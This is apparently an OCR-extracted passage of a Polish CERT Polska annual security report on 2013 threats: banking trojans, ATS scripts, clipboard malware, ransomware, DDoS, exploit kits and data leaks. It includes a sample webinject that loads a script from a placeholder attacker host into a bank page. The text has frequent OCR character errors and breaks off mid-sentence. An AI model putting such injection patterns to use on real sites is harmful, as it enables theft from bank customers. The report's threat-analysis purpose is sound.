Ten rodzaj ztosliwego oprogramowania udostepniany jest odpfatnie w postaci pakietéw
zwanych z angielskiego "crimeware pack”’, zawierajacych panel kontrolny oraz program do
zbudowania "klienta” (programu infekujgcego) i zaszyfrowanego pliku konfiguracyjnego.
Przestepca w pierwszej kolejnosci musi pozyskac - poprzez zakup lub wtamanie - serwer,
ktory bedzie wykorzystywany do zarzgdzania oraz zainstalowac na nim panel zarzadzaja-
cy. Nastepnie konfiguruje i buduje program, ktéry bedzie uruchamiany na zainfekowanych
komputerach. Podczas konfiguracji bota podaje adresy URL, ktére bedg wykorzystywane
przy zarzgdzaniu botnetem.

TROJANY BANKOWE

Sa to adresy URL:
> CONFIG-URL — adres, pod ktorym znajduje sie nowy plik konfiguracyjny,

> GATE-URL — adres, pod ktéry wysytane beda zebrane dane (loginy, hasta itp.) oraz z kto-
rego pobierane beda nowe polecenia.

J, ZeuS
login / password
— g -> | BaNnk
< {—
S — code code s —
A
config data

v

o @

—

Rysunek 5: Schemat dziatania trojandw bankowych
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9.1 ATS - AUTOMATIC TRANSFER SCRIPT

Modyfikacja kodu strony internetowej daje przestepcom naprawde duze mozliwosci. Me-
chanizm ten (zwany "webinject”) traktuje tresc strony internetowej jako cigg znakéw, wy-
szukuje w nim podany wzorzec i podmienia na zdefiniowang w konfiguracji wartos¢. Nie
pozwala on jednak na dynamiczne generowanie podmienianych wartosci - sg one na
state zapisane w konfiguracji bota do czasu pobrania aktualizacji. Dlatego opracowano
skrypty "ATS" (z ang. Automatic Transfer Script) dziatajgce jako uzupetienie dla trojanow

ZeuS

login / password

> —> | BaNK

code code

I

v
—  —

A

code

v
= @

>

H

Rysunek 6: Schemat dziatania ATS

bankowych. Sg one kodem JavaScript, ktory wstrzykniety do strony komunikuje sie z serwe-
rem zarzgdzajacym (innym niz serwer C&C ztosliwego oprogramowania) caty czas w trakcie
pobytu uzytkownika na witrynie.

Przyktadowym dziafaniem tego skryptu moze by¢ wystanie do serwera ATS danych oraz stanu
konta i odebranie w odpowiedzi kwoty oraz numeru konta, na ktore nalezy przestac pienigdze.
Cafa komunikacja odbywa sie w przegladarce internetowej za pomocg zgdan POST lub GET.

Przyktadowy webinject wstrzykujacy ATS moze wygladac tak:

Target URL: “*/nasz.internetowy.bank/*

data before

</head>

data after

<body>

data inject

<script type="text/javascript” src="https://evilserver.example/grabmoney.js”>

</script>

Jednym z uzywanych przez przestepcow systemow ATS byt, nazwany tak przez nas, "az7".
Umozliwiat on w wygodny sposéb zarzadzanie kontami ofiar, dostepnymi stupami oraz wy-
konywanymi operacjami.

Z pomoca takiego narzedzia przestepca jednym kliknieciem moze wystac zlecenie, aby przy
nastepnym logowaniu wskazany klient banku otrzymat monit naktaniajacy go do wykona-
nia przelewu na okreslony numer konta stupa. Gtowny framework az7 (ok. 2500 - 3000 linii
w pierwszych wersjach, 8000 - 9000 linii w wersjach finalnych), umozliwiat miedzy innymi
przesytanie komunikatow (do wyboru metodami POST lub GET) dotyczacych np. wykra-
dzionych danych dostepowych lub salda konta bankowego oraz odbieranie odpowiedzi od
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Rysunek 7: Komunikat wyswietlany za pomocq ATS uzytkownikowi

serwera i wykonywanie zwréconej funkgji. Framework az7 posiadat rowniez rozbudowany
mechanizm raportowania btedéw oraz system sledzenia postepu workflow zaplanowane-
g0 przez przestepcow.

W pofgczeniu z mechanizmem webinjectéw, framework az7 umozliwiat rowniez praktycz-
nie dowolng modyfikacje wyglgdu witryny systemu transakcyjnego (np. wySwietlanie dodat-
kowych komunikatéw). Dodatkowo po stronie cyberprzestepcow umozliwiat fatwe zarza-
dzanie zaréwno listg atakowanych systemow transakcyjnych (rys. 8A), jak i stupami (rys. 8B)
oraz zainfekowanymi uzytkownikami (rys. 9).

W czasie kilku miesiecy obserwowania botnetéw wykorzystujgcych az7 zaobserwowalismy
ataki wymierzone w klientéw wielu bankdéw z Polski, Japonii, Czech, Stowadcji, Wegier, Hisz-
panii, Portugalii, Australii, Niemiec oraz Holandii. Poniewaz skupialiSmy nasza uwage gtow-
nie na botnetach atakujgcych klientéw z Polski, zaktadamy, ze powyzsza lista nie jest kom-
pletna i atakowani byli réwniez klienci z innych krajow.

9.2 VBKLIP

Nowoscig w kategorii malware'u bankowego byto zaobserwowane pod koniec 2013 pojawie-
nie sie oprogramowania podmieniajacego tresc¢ systemowego schowka. Jego dziatanie byto
bardzo proste - program dziatajacy w tle monitorowat zawartos¢ bufora po wykonaniu przez
uzytkownika operacji "Kopiuj” (CTRL+C). Jezeli w tekscie znaleziono fragment pasujgcy do for-
matu numeru rachunku bankowego, byt on podmieniany. Numer konta docelowego zako-
dowano na state w ztosliwym oprogramowaniu. Warto zaznaczy¢ rowniez, ze w sytuacji sko-
piowania wiekszej ilosci tekstu podmianie ulegat jedynie fragment zawierajacy numer konta
- reszta pozostawata bez zmian.

Sam program napisany zostat w Visual Basic 6 (stad nazwa). Ze wzgledu na prostg budowe

oraz brak komunikacji z serwerem zarzgdzajacym oprogramowanie to przez dtuzszy czas
nie byto wykrywane przez programy antywirusowe.
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(B) Ekran stuzqcy do zarzgdzania stupami

ofiary znajduje sie ztosliwe oprogramowanie, ktére podmienito numery kont zaréwno
W potowie pazdziernika 2013 do zespotu CERT Polska zostato nadestane zgtoszenie od oso- w przelewach wykonywanych poprzez strone banku, jak i zmienito numery kont w wiado-
by prywatnej dotyczace ztosliwego oprogramowania. Z opisu wynikato, ze na komputerze mosciach e-mail zawierajgcych dane dotyczace finalizacji zakupu dla klientéw. Nadestany
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opis zdarzenia pozwolit przypuszczac, ze infekcja miata miejsce okoto 2 tygodni wczesniej.
Po nawigzaniu kontaktu z osobga zgfaszajaca problem przeprowadzona zostata analiza sys-
temu operacyjnego, w wyniku czego wykryto aplikacje, ktorej dziatanie polegato na pod-
mianie 26-znakowego ciggu cyfr na wczesdniej zdefiniowane. Zrédtem infekcji okazata sie
wiadomos¢ e-mail, ktorej tres¢ (biorgc pod uwage charakter prowadzonej dziatalnosci go-
spodarczej przez osobe zgtaszajgcg incydent) zostata specjalnie spersonalizowana pod ka-
tem konkretnego odbiorcy.

Przeprowadzona analiza uzyskanej probki pod wzgledem wykrywalnosci przez oprogra-
mowanie antywirusowe wykazata, iz na dzien analizy zaden z testowanych 48 silnikéw an-
tywirusowych nie wykrywat analizowanej aplikacji jako podejrzanej. Wskazujace te sama
aktywnos¢ probki analizowane przez CERT Polska napisane w .NET. Oprécz zmiany jezyka,
w ktérym aplikacje zostaty napisane, nie roznity sie one od aplikacji analizowanej pierwot-
nie - fgcznie z ich wykrywalnoscia przez skanery antywirusowe. Dla wszystkich prébek zo-
staty przeprowadzone analizy behawioralne oraz wsteczne.

W wyniku analiz ustalono schemat dziatania aplikacji:
klient zaznacza numer rachunku (np. ze strony, notatnika), kopiuje do schowka (CTRL+C),

szkodliwe oprogramowanie sprawdza czy w ciggu znajdujgcym sie w schowku jest nu-
mer rachunku (na podstawie dfugosci ciggu cyfr),

w momencie wklejenia tekstu wklejona zawartosc¢ rézni sie jedynie numerem konta,
podmiana ma miejsce we wszystkich aplikacjach, do ktérych wklejany jest tekst, dotyczy

wiec w szczegdlnosci:
» formularzy przelewow bankowych (wszystkich bankdow),

» wiadomosci e-mail zwierajgcych dane dotyczace przelewu,
» pozostatych (stron, komunikatorow, edytoréw tekstu).

Dodatkowe informacje o dziataniu oraz sposocbach usuniecia ztosliwego oprogramowania
z zainfekowanej stacji roboczej mozna znalez¢ na naszym blogu [38], [32].

9.3

Istotnym elementem w atakowaniu klientéw bankowosci internetowej jest wyprowadza-
nie srodkow finansowych. Wykonanie przez przestepce przelewu na wiasny rachunek
bankowy nie jest zbyt dobrym pomystem - taki rachunek zostanie szybko zablokowany,
a wiasciciel zlokalizowany. W tym celu wykorzystywani sg wiec liczni posrednicy zwani stu-
pami (z ang. money mule). Sa to ludzie rekrutowani najczesciej poprzez fatszywe oferty
pracy. To na ich konta wykonywane sg przelewy z rachunkéw ofiar. Zadaniem stupa jest
wyptacenie otrzymanych srodkéw, pobranie dla siebie prowizji (zazwyczaj ok. 10%), a na-
stepnie wystanie gotowki za granice za pomocg Western Union Money Transfer (lub po-
dobnej ustugi).

9.4

Jednym ze sposobdw ochrony przed nieautoryzowanymi przelewami jest zastosowanie
dwusktadnikowego uwierzytelniania. Polega ono na koniecznosci podania przez uzytkow-
nika dodatkowego kodu podczas krytycznych operacji (np. zmiana danych, wykonanie
przelewu). Kody takie moga by¢ przechowywane na kartach papierowych, wysytane wia-
domoscig SMS, generowane przez dedykowane urzgdzenie (token sprzetowy) lub w te-
lefonie. Wykorzystanie kodow SMS jest tez jedna z popularnych metod potwierdzania
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przelewow: taka wiadomos¢ czesto zawiera nie tylko kod, ale réwniez inne dane dotycza-
ce operadji, np. jej kwote.

Chcac wyprowadzi¢ pieniagdze z konta uzytkownika posiadajgcego wiasnie te metode po-
twierdzania przelewow, przestepcy mogg probowac przejac kontrole nad telefonem ofia-
ry. W 2013 roku odbywato sie to poprzez wyswietlenie na zainfekowanym komputerze
monitu, ktory nakfaniat uzytkownika do zainstalowania "aplikacji bezpieczenstwa” na te-
lefonie komorkowym. Zainstalowana aplikacja po aktywowaniu przechwytywata wszystkie
przychodzace wiadomosci SMS i przekazywata je na okreslony numer nalezacy do prze-
stepcow. Umozliwiato to przejecie przez atakujgcych kodu potwierdzajgcego i tym samym
wykonanie nieautoryzowanego przelewu.

Na poczatku uzywana byta aplikacja E-Security, co opisalisSmy na naszym blogu. W pozniej-
szym etapie (od poczatku grudnia 2013 roku) cyberprzestepcy uzyli botnetu, ktérego C&C
znajdowato sie na nowej domenie, ale w obrebie tej samej hostowni co poprzednio. Lista
atakowanych instytucji znow obejmowata klientow tych samych bankdéw. Przestepcy nadal
préobowali namowic ofiare do zainstalowania w telefonie ztosliwej aplikacji. W tym przypad-
ku aplikacja podszywata sie pod program antywirusowy. Numer telefonu (zwany "master
number”) oraz lokalizacja, pod ktorg byty wysytane raporty, nie ulegty zmianie. Dokfadny
opis drugiej aplikacji réwniez znajduje sie na naszym blogu [39].

Ostatni plik apk pojawit sie 22 grudnia 2013. W tym okresie zanotowalismy 13 unikalnych

adresow, spod ktérych go dystrybuowano. Zespét CERT Polska na biezgco monitorowat
pojawianie sie nowych adresow i starat sie je blokowac w jak najkrotszym czasie.
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9.5

W potowie grudnia 2013 dotychczasowa mutacja zwigzana z aplikacjg antywirusowg zosta-
ta przeniesiona na nowe serwery. Atakowani byli klienci pietnastu polskich bankéw. Po kaz-
dym prawidtowym zalogowaniu ofiary do systemu transakcyjnego, do serwera przestep-
cow wysytane byty dane identyfikujgce bank, saldo konta, login oraz hasto. W odpowiedzi
przegladarka ofiary otrzymywata dane w ponizszym formacie:

var DrInfo ='171240xXXXxXXXXXXXXXXXXXxxxXX::0dbiorca::tytut przelewu::kwota’;
Nastepnie ztosliwe skrypty wyswietlaty komunikat o ponizszej tresci:

BANK zmienia format konta. Prosimy o potwierdzenie danej operacji, w tym celu
nowy numer konta nalezy okre$li¢ jako odbiorca zdefiniowany. Nowy numer konta

bedzie aktywny po uptywie 7 dni, jezeli dana operacja nie zostanie potwierdzo-

na, to przyjecie przelewdw na twoje konto bedzie niemozliwe.

Po kliknieciu "Dalej” otwierany byt formularz "Dodaj nowego odbiorce zdefiniowanego” wy-
petniony danymi przekazanymi z serwera przestepcéw. Dane te miaty rozny format, w za-
leznosci od konkretnego banku i zawieraty zazwyczaj: nazwe odbiorcy, konto docelowe
(stupa), imie i nazwisko odbiorcy zdefiniowanego, kwote przelewu (jezeli takie pole byto
obligatoryjne). Ofiara zatwierdzata kodem jednorazowym, przystanym wiadomoscig SMS,
nowo zdefiniowanego odbiorce. Do serwera przestepcow byt wysytany komunikat o zakon-
czeniu catej operacji. Nastepnie przestepcy logowali sie na konto ofiary i bez konieczno-
Sci podawania koddéw wykonywali przelew do nowo zdefiniowanego odbiorcy. Dla kazdego
konta byty zdefiniowane wartosci brzegowe: kwota minimalna i maksymalna.



Komunikat i konto stupa byty zwracane ofierze dopiero wtedy, gdy saldo jej konta miescito
sie w ustalonych przedziatach.

Wykrylismy trzy zakresy zdefiniowane przez przestepcow:

20 000 PLN do 49 999 PLN
50 000 PLN do 99 999 PLN
powyzej 100 000 PLN

RANSOMWARE

Pierwszy raz na duzg skale ransomware pojawit sie na komputerach w Polsce w 2012
roku. Zjawisko od tamtego czasu utrzymuje sie na statym poziomie i jest dostrzegane
w wielu krajach na catym swiecie.

Przez caty 2013 rok do CERT Polska sptywaty informacje o nowych infekcjach tym ztosli-
wym oprogramowaniem. Scenariusz za kazdym razem byt taki sam - wySwietlenie monitu
0 wykryciu przez policje, badz inny, czasami nawet fikcyjny, organ wtadzy, podejrzanej ak-
tywnosci razem z komunikatem zadania zapfaty za usuniecie blokady. Z zebranych danych
wynika, ze do infekcji najczesciej dochodzi w wyniku dziatania jednego z Exploit Kitow (jak
na przyktad te opisane w sekcji 12 niniejszego raportu). Taka infekcja moze sie odbywac
albo w wyniku przejecia strony, albo w wyniku wykupienia reklamy w jednym z systemow
reklam, ktéra zawiera ztosliwe tresci.

W jednym z wpiséw na blogu Malware don't need coffee znajduje sie informacja o rozpo-
wszechnieniu na Polske wersji malware'u, ktora najpierw przekierowuje uzytkownika na
strone z pornografig dzieciecg, a nastepnie blokuje komputer uzytkownika i zada optaty
karnej za ogladanie tej strony [5]. OtrzymalisSmy sygnaty od uzytkownikéw, ze zostali oni za-
infekowani takg wersjg ztosliwego oprogramowania.

Nowoscig w 2013 roku byto wySwietlanie monitu jako zwyktej strony internetowej, w stan-
dardowej przeglgdarce. Zeby utrudni¢ uzytkownikowi zamkniecie takiej strony, zastosowa-
no technike umieszczenia duzej liczby elementow iframe, z ktorych kazdy miat ustawiony
atrybut onUnload="ask"). Powodowoto to, ze uzytkownik byt zasypywany bardzo duza licz-
ba pytan o zamkniecie strony - tak duzg, ze po pewnym czasie sie po prostu znudzit i rezy-
gnowat z zamykania strony.

Popularnos¢ ransomware jest odzwierciedlona w statystykach odwiedzin serwisu CERT
Polska. W roku 2013 strone http://www.cert.pl/news/5707 odwiedzono 176 732 razy.
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http://www.cert.pl/news/5707

tacznie adresy URL z informacjami na temat ransomware odwiedzono 450 394 razy,
co stanowi 20% wszystkich odston stron WWW CERT Polska. Z drugiej strony, wtasnie ze
wzgledu na jego widocznos¢, statystyki te mogg by¢ bardzo zawyzone - innych rodzajow
malware'u zwykli uzytkownicy nie zauwazajg az do momentu, kiedy poniosg jakies skutki
ich dziatania, np. kradziez pieniedzy.

Innym rodzajem oprogramowania ransomware jest "CryptolLocker”. Jest to ztosliwe opro-
gramowanie, ktore blokuje komputer szyfrujac pliki uzytkownika [9]. Uzytkownik chcacy
uzyskac klucz odszyfrowujgcy otrzymuje zgdanie okupu. Nie dotarty do nas informacje na
temat polskiej wersji tego malware'u, chociaz jego swiatowy sukces (co najmniej 1 100 000
dolarow w okupach [46]) moze wskazywac, ze zacznie rozpowszechnia¢ sie i w innych
krajach.
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ATAKI TYPU DDOS

W roku 2013 trudno byto uciec od tematu atakéw DDoS (Distributed Denial of Servi-
ce). Jedng z najgoretszych wiadomosci roku byt "atak, ktory prawie zepsut Internet”. Chodzi
0 wydarzenia z konca marca, gdy - najprawdopodobniej w wyniku zemsty przestepcow —
zaatakowane zostaty serwery firmy Spamhaus, zajmujacej sie tropieniem spameréw i pu-
blikowaniem czarnych list.

W jednym z etapdw atak zostat skierowany na infrastrukture firmy Cloudflare, z ktérej
ochrony skorzystat Spamhaus, a takze na infrastrukture jej dostawcéw. Wedtug Cloud-
flare wolumen ataku przekraczat 300Gbps [41], co stawia go w Scistej czotéwce znanych
atakéw DDoS pod wzgledem wielkosci ruchu. Cho¢ zdarzenie to nie miato w rzeczywi-
stosci wielkiego wptywu na globalng sie¢ i nie spowodowato jej spowolnienia, odczuto go
jednak wiele firm korzystajgcych z Cloudflare’a, a w konsekwencji uzytkownicy koncowi.

Atak na Spamhaus/Cloudflare byt o tyle waznym wydarzeniem, ze po raz pierwszy publicz-
nie i na taka skale zostata wykorzystana technika odbitego ataku DNS [35], zapoczatkowu-
jac ere duzych atakéw z wykorzystaniem amplifikacji protokotow UDP (oprocz DNS takze
m.in. NTP i chargen). Cho¢ o mozliwosci przeprowadzenia takich atakéw wiedziano i dysku-
towano od dawna, problem ten wcigz byt zbyt mato nagtosniony wsroéd administratoréw.
Skutkiem zaniedban sg setki tysiecy zle skonfigurowanych serwerdw i brak zabezpieczen
przed fatszowaniem adresu Zzrédtowego w wielu sieciach na catym swiecie, co stwarza do-
skonate srodowisko do podobnych atakéw w najblizszych miesigcach.

Zaledwie kilka dni péZniej rowniez na polskim podworku mielismy do czynienia z co naj-
mniej jednym dobrze widocznym atakiem. Na poczatku kwietnia ofiarg DDoS padat kilku-
krotnie serwis Allegro.pl*. W zblizonym czasie zauwazalna byta tez niedostepnos¢ dwoch
serwisow internetowych bankéw. Choc zaden z bankdw nie wspomniat w swoich komuni-
katach o atakach DDoS, czes¢ serwiséw informacyjnych tgczyta awarie wtasnie z nimi [55]
powotujac sie przy tym na wiasne zrodfa, a pozniej takze na komunikat policji, ktéra po



zatrzymaniu osoby odpowiedzialnej za przeprowadzenie atakdéw wspomniata, ze celem byt
"leden z serwiséw aukcyjnych oraz dwa banki” [29]. Przy okazji wyszto na jaw, ze powodem
atakow byta proba szantazu podmiotow, dla ktérych byty one niewatpliwie bardzo kosz-
towne w skutkach. Przestepca zadat okupu w BitCoinach za zaprzestanie dziatan. Pod ko-
niec roku celem atakéw byty rowniez serwery gry League of Legends®, a przypadek ten,
bedacy wynikiem porachunkéw pomiedzy graczami, pokazuje, jak dostepne staty sie ataki
DDoS o takiej skali.

Niestety, problem atakéw DDoS staje sie coraz powazniejszy, a poza komercyjnymi rozwia-
zaniami sprzetowo-programowymi duza rola w walce z nim powinna przypas¢ dostawcom
ustug internetowych oraz administratorom. W przypadku tych pierwszych - kluczowe sta-
je sie przygotowanie odpowiednich procedur i polityk wspierania klientéw w odpieraniu
atakdw, jak i eliminowanie zle skonfigurowanych urzadzen (pozwalajacych na wzmacnia-
nie ruchu) ze swoich sieci. Informacje o adresach IP, na ktérych zidentyfikowano podatne
urzadzenia, mozna otrzymywac od CERT Polska za posrednictwem bezptatnej platformy n6
(informacje na ten temat znajdujg sie na stronie: n6.cert.pl).

“ https://www.facebook.com/allegro/posts/10151431020863108
4 http://www.reddit.com/r/leagueoflegends/comments/1ulpcz/servers_down_discuss_here

Zk OSLIWE ADRESY URL

Doktadne statystyki dotyczgce ztosliwych domen znajdujg sie w czesci A.5 niniejszego
raportu. Wsrod ztosliwych adresow mozna wyrdzni¢ dwa typy: serwery zarzadzajace bot-
netem (C&C) oraz strony prowadzace do exploit kitow, stworzone w celu przejecia kontroli
nad komputerem uzytkownika. Sewery C&C znajdujgce sie w domenie .pl sg sinkhole'owa-
ne przez CERT Polska w miare jak otrzymujemy informacje o ich aktywnosci i dokfadny ich
opis mozna znalez¢ w sekcji dotyczacej sinkhole’owania. Ponizej prezentujemy informacje
dotyczace exploit kitow. Wida¢ z nich, ze najwiekszym zagrozeniem dla uzytkownikow jest
posiadanie wtyczki do przegladarki Java Runtime Environment (JRE).

12.1
W 2013 roku miato miejsce wykorzystanie domen .pl przez rozne exploit kity, takie jak:

Kore EK [44], ktory w tym czasie uzywat nastepujgcych exploitow (w nawiasach podano
podatne oprogramowanie):

» CVE-2013-2423 (Java w wersji 7u17 i wczesniejszej)
» CVE 2013-2460 (Java w wersji 7u21 i wczesniejszej)
» CVE 2013-2463 (Java w wersji 7u21 i wczesniejszej)
» CVE 2013-2471 (Java w wersji 7u21 i wczesniejszej)
Cool EK [4]:

» CVE 2013-2460 (Java w wersji 7u21 i wczesniejszej)
» CVE 2013-2463 (Java w wersji 7u21 i wczesniejszej)

Sakura EK [17]:
» CVE-2013-0422 (Java w wersji 7u10 i wczesniejszej)
» CVE-2013-2423 (Java w wersji 7u17 i wczesniejszej)
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» CVE 2013-2460 (Java w wersji 7u21 i wczesniejszej)
» CVE 2013-2471 (Java w wersji 7u21 i wczesniejszej)
» I mozliwe, ze niektdre starsze CVE réwniez byty wykorzystywane

> Flimkit [44]:
» CVE-2012-1723 (Java w wersjach 7u4, 6u32, 5u35, 4.2u37 i wczesniejszych)
» CVE-2013-2423 (Java w wersji 7ul17 i wczesniejszej)
» CVE 2013-2471 (Java w wersji 7u21 i wczesniejszej)

Ztosliwe domeny petnity jedng z dwdch rél: przekierowanie do strony wykorzystujacej po-
datnosci w oprogramowaniu uzytkownika lub bezposrednie atakowanie uzytkownikow. Za-
zwyczaj koncowym efektem byfa infekcja komputera jedng z wersji ztosliwego oprogramo-
wania typu ransomware, rootkitem ZeroAccess lub trojanem Kryptik. Doktadny opis tych
atakow, na przyktadzie monitorowanych stron w domenie gov.pl znajduje sie ponizej. Nie-
mal zawsze do infekcji dochodzito po wykorzystaniu podatnosci w oprogramowaniu Java
Runtime Environment (JRE).

Na rys. 10 przedstawiono schemat dziafania typowego exploit kita. Uzytkownik najpierw
musi odwiedzi¢ strone (przejeta badz specjalnie podstawiong), nastepnie nieSwiadomie
pobiera skrypt, ktérego celem jest ustalenie jakie posiada wtyczki w przegladarce (np. Ado-
be Flash, Java, Silverlight, MS Office) i w jakich one sg wersjach. W zaleznosci od wyniku tego
dziafania pobierany jest odpowiedni exploit. Nastepnie, po przejeciu maszyny, pobierane
jest ztosliwe oprogramowanie.
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Rysunek 10: Schemat dziatania Exploit Kit

12.2 KAMPANIE MALWARE NA STRONACH W DOMENIE .GOV.PL

W 2013 roku, we wspotpracy z CERT.GOV.PL, podczas wykonywania rutynowego skanowa-
nia stron nalezacych do administracji publicznej, zidentyfikowaliSmy trzy serwisy, na kto-
rych znajdowata sie ztosliwa zawartos¢. Nie byty to ataki ukierunkowane, a jedynie te same
kampanie, ktore akurat byty popularne w Internecie.



12.2.1 FAKEAV ORAZ KRYPTIK

W pierwszym przypadku na stronie, w zaleznosci od konfiguracji maszyny ofiary, do-
dawana byta ramka (iframe), ktéra przekierowywata do exploita. Nastepnie za pomoca
downloadera o nazwie "Smoke Loader” Sciggane byty dwie ztosliwe aplikacje. Pierwsza
to oprogramowanie typu FakeAV, czyli ztosliwe oprogramowanie udajgce program an-
tywirusowy. Po "wykryciu” zagrozen oprogramowanie to zacheca uzytkownika do zaku-
pu (za pomocy karty kredytowej) petnej wersiji, ktéra pozwoli usung¢ wykryte zagrozenia.

Druga z nich to kon trojanski Kryptik, ktéry stuzy do kradziezy danych logowania z wie-
lu popularnych klientéw FTP, SSH czy WWW. Oprécz tego wykrada certyfikaty stuzace
do podpisywania aplikacji oraz przeprowadza atak stownikowy na konto zalogowanego
uzytkownika. Zawiera on rowniez ciekawe techniki zabezpieczajgce przed deasembla-
Cjg i analizg wykonania. Okno programu FakeAV zostato zaprezentowane na rysunku 11.

Doktadny opis obu zagrozen znajduje sie we wpisie na naszym blogu: www.cert.pl/
news/7101. Lavasoft donosit o tej kampanii w czerwcu 2013 roku, podczas gdy stro-
na .gov zostata zainfekowana w pierwszej potowie maja [2]. Kampania byta szeroko za-
krojona, poniewaz otrzymywalismy gtosy od uzytkownikow, ze zostali zainfekowani tymi
dwoma ztosliwymi oprogramowaniami za pomocg innych stron. Do dystrybucji wykorzy-
stywana byta luka CVE-2012-1723 obecna w wersjach Javy 1.7u4 i nizszych, 1.6u32 i niz-
szych, 1.5u35 i nizszych oraz 1.4.2u37 i nizszych.

Udato nam sie rowniez ustali¢, ze strona zostata zainfekowana najprawdopodobnie]
w wyniku przejecia hasta za pomoca malware. Oznacza to, ze przestepcy do infekcji wy-
korzystali hasto, ktore zdobyli w wyniku innej infekcji, co powodowato, ze ich zasieg co-
raz bardziej sie zwiekszat. Najprawdopodobniej tym réowniez sposobem zostata zainfe-
kowana druga ze stron w domenie .gov. Co ciekawe, jedna z probek byta podpisana,
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Rysunek 11: Okno programu FakeAV

prawdopodobnie skradzionym, certyfikatem nalezgcym do Ingenieursbureau Matrix B.V.
wystawionym przez VeriSign.
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12.2.2 RANSOMWARE

Na jednej z polskich stron rzagdowych oraz stronie w domenie .eu udato nam sie znalez¢
doklejony kod JavaScript, ktérego celem byto ustalenie wersji pluginu Java zainstalowanego
na maszynie ofiary i, w zaleznosci od tej wersji, przestanie odpowiedniego explaita.

Szczegodtowy opis "wakacyjnej kampanii” ransomware mozna znalez¢ w naszym wpisie na
blogu: http://www.cert.pl/news/7403. Warto go uzupetic¢ o sposéb, w jaki serwer zostat
zainfekowany. Cyberprzestepcy wykorzystali luke we frameworku WordPress lub ktéryms
z jego pluginéw. Za pomoca tej luki umiescili na stronie zaciemniony kod PHP opisywany
na blogu justbeck.com [14]. Kod ten sprawdzat wartos¢ User-Agent i sprawdzat, czy zada-
nie wystat prawdziwy uzytkownik, czy robot, ktéry chciat zindeksowac strone. W tym celu
w wartosci User-Agent poszukiwany byt jeden z ciggow znakow:

Google
Slurp
MSNBot
ia archiver
Yandex

Rambler

Jesli zadnego z nich nie znaleziono, serwer WWW wysytat zapytanie do serwera C&C, aby
ustali¢ jakg zawartos¢ wyswietli¢ uzytkownikowi. Do tego serwera przesytane byty informa-
Cje na temat adresu odwiedzanej strony, adresu IP uzytkownika oraz wartosci User-Agent.
Co ciekawe, adres domenowy serwera byt generowany dynamicznie na podstawie losowej
wartosci oraz odpowiedzi od serwera DNS na odpowiednio spreparowane pytanie. Dome-
ny wykorzystywane w tym celu znajdowaty sie w .com oraz .ca.
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WYCIEKI DANYCH

W doniesieniach medialnych dotyczacych wielu podmiotéw przewijat sie problem wy-
cieku danych. Kazdy z tych przypadkéw byt szczegdtowo opisywany. Wedtug dokumentu,
ktory od GIODO otrzymata Zaufana Trzecia Strona [51], w roku 2013 w Polsce miato miej-
sce 136 naruszen ochrony danych osobowych. Informacje o najwiekszej liczbie incydentéw
tego typu - 53 zgtoszenia - przekazato Orange, a na drugim miejscu znajduje sie TP z 30
zgtoszeniami. £gcznie stanowi to 83 zgtoszenia, czyli ponad potowe wszystkich zgtoszonych
naruszen ochrony danych osobowych. Kolejng pozycje zajmuje Plus tylko z 20 zgtoszenia-
mi. Wida¢ zatem, ze do wyciekéw danych osobowych stale dochodzi - srednio ponad dwa
razy w tygodniu zgtaszane byto naruszenie.

Postanowilismy opisac¢ jednak ten problem w inny sposob niz miato to miejsce dotychczas.
Zamiast skupiac sie na wskazywaniu mniej czy bardziej waznych przypadkow wyciekow da-
nych, postaramy sie podzieli¢ je pod katem sposobu wycieku, sposobu sktadowania da-
nych oraz motywdéw osob wykradajacych. Dlatego tez nie opisujemy wszystkich wyciekéw
danych, ktére nastapity w zesztym roku, a jedynie podajemy przykfady, ktére ilustrujg zasto-
sowang technike, zabezpieczenia badz motywy.

Wyciek danych bardzo czesto miat miejsce w wyniku wlamania. Napastnik przetamywat
lub omijat zabezpieczenia. Taki scenariusz miat miejsce np. przy wycieku danych ponad
400 tysiecy klientéw firmy Hyperion S.A. [53]. Zrédiem wycieku byta platforma eBOA,
oparta na autorskim oprogramowaniu operatora. Wsréd danych znajdowaty sie takie in-
formacje jak:

» imie i nazwisko,

» adres swiadczenia ustugi oraz korespondencyjny,

» numery telefonéw kontaktowych,

» numery NIP/PESEL,

» numer rachunku bankowego (rachunek operatora do celéw rozliczen),


http://www.cert.pl/news/7403

» hasto,
» saldo rozliczen,
» inne wewnetrzne informacje operatora.

Rowniez w wyniku przetamania zabezpieczen wyciekty dane z firmy OVH [26]. Atakujgcemu
udato sie uzyskac dostep do danych klientéw OVH w Europie:

» imie i nazwisko,

» identyfikator NIC,

» adres zamieszkania,

» telefon,

» skrot kryptograficzny SHA512 hasta,

» dostep do systemu instalacji serwerow w Quebecu (intruz mogt przejac serwer, jesli
klient nie usunat domysinego klucza SSH preinstalowanego przez OVH).

Samo wfamanie miato miejsce w wyniku przejecia konta e-mail jednego z administratoréow
OVH. Nastepnie przy pomocy tego konta uzyskano dane dostepowe do VPN innego pra-
cownika, przez ktory atakujacy dotarli do sieci biurowej. Stamtad bytfa juz otwarta droga do
wewnetrznych ustug i systemow.

Kolejnym sposobem wycieku byty dane wykradzione z firm przez ich pracownikéw. Najbar-
dziej spektakularny przypadek dotyczyt 20 milionéw Koreanczykow, ktorych dane wykradt
jeden z pracownikéw firmy ratingowej Korea Credit Bureau. Miat on dostep do wewnetrz-
nych systemoéw, wspoétpracujgcych z biurem kredytowym instytucji wydajgcych karty kredy-
towe [16].

Wartym uwagi sg przypadki, kiedy dane byty pozyskiwane w wyniku kradziezy urzadzen, na
ktorych byty trzymane w postaci umozliwiajacej ich przywrdcenie do postaci jawnej. Taka

sytuacja miata miejsce w Koszalinie, gdzie nieznany sprawca wlamat sie do Laboratorium
Analiz Lekarskich ALAB i wyniést komputery z dokumentacjg medyczng [19].

Jeszcze bardziej zadziwiajace byly przypadki, gdzie firmy ujawnity informacje "niechcacy”.
Byt to wyniku btedu pracownika lub btednie zaprojektowanego systemu przechowujgce-
go i udostepniajgcego dane. Serwis iBOOD pozwalat na swobodny dostep do danych oso-
bowych wszystkich, ktérzy kiedykolwiek ztozyli w nim zamdwienie [24]. Wystarczyta prosta
modyfikacja parametru ID w linku z zamdéwieniem, by dostepne staty sie imie i nazwisko,
adres e-mail czy numer telefonu zamawiajacego. W podobny sposéb dane dotyczace licz-
by zameldowanych oséb pod kazdym adresem udostepnit Urzad Miejski w Ostrowie Wiel-
kopolskim, ogtaszajac przetarg na wywoéz Smieci.

Ztosliwe oprogramowanie réwniez miato swoj udziat przy wyciekach danych. 110 milio-
nom klientéw sieci sklepéw Target wykradziono dane dotyczace ich kart debetowych i kre-
dytowych. Cale zajscie byto wynikiem infekdji systemu obstugujgcego terminale pfatnicze,
